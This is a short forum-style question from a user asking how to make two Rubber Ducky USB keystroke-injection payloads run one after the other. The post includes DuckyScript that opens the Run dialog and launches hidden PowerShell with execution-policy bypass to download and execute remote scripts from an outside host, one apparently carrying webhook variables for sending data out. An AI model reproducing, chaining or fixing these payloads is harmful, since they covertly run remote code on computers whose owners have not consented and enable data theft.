Question : is it possible to run more at once

[ben5446]

So these script also work on a rubber ducky USB so I was wondering if it was possible to run more at once I've tired to do
"GUI r
DELAY 500
STRING powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/9nb | iex
ENTER
DELAY 500
GUI r
DELAY 500
STRING powershell -w h -NoP -Ep Bypass $channel="'youtube.com/iamjakoby'";irm jakoby.lol/wj4 | iex
ENTER"
But only the last one works both of them run just fine but only the last one gets fully executed so I was wondering if it was possible to do a system where it waits for the first to get done then does the second
